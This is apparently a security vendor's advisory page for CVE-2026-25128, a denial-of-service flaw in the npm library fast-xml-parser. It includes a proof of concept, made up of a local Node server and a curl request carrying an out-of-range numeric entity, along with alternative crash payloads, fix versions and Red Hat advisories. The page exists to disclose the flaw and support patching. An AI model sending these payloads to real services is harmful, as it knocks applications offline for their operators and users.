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📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-25128 — fast-xml-parser

HIGHFix: NaturalIntelligence/fast-xml-parser@4e387f6

CVE-2026-25128 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in fast-xml-parser. A fix is available for fast-xml-parser — see the affected versions and patch details below.

fast-xml-parser has RangeError DoS Numeric Entities Bug

Also known asGHSA-37qj-frw5-hhjh
Published
Jan 30, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25128.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-25128 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
📦fast-xml-parser

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

  • [0-9]{1,7} matches up to 9,999,999
  • [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

  • API servers accepting XML payloads
  • File processors parsing uploaded XML files
  • Message queues consuming XML messages
  • RSS/Atom feed parsers
  • SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmfast-xml-parser≥ 5.0.9&&< 5.3.45.3.4npm install fast-xml-parser@5.3.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fast-xml-parser, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update fast-xml-parser to 5.3.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25128 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25128 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-25128. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

The availability impact of this flaw is limited to the application which bundles the fast-xml-parser library. Red Hat host systems are not at risk of availability impact.

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for CVE-2026-25128 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Advanced Cluster Security 4.8advanced-cluster-security/rhacs-main-rhel8:1775594119RHSA-2026:7110
Red Hat Advanced Cluster Security 4.9advanced-cluster-security/rhacs-main-rhel8:1775594284RHSA-2026:7128
Red Hat Openshift Data Foundation 4.18odf4/cephcsi-rhel9:1781555717RHSA-2026:26420
Red Hat Openshift Data Foundation 4.19odf4/cephcsi-rhel9:1783684360RHSA-2026:41944
Red Hat Openshift Data Foundation 4.20odf4/cephcsi-rhel9:1783667125RHSA-2026:40984
Red Hat Satellite 6.18satellite/iop-host-inventory-frontend-rhel9:1785922764RHSA-2026:51349

Frequently Asked Questions

### Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `&#9999999;` or `&#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. ### Details The vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45: ```javascript "num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromC
O3 Security · Impact-Aware SCA

Is CVE-2026-25128 in your dependencies?

O3 Security finds CVE-2026-25128 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-25128: fast-xml DoS (High 7.5) | O3 Security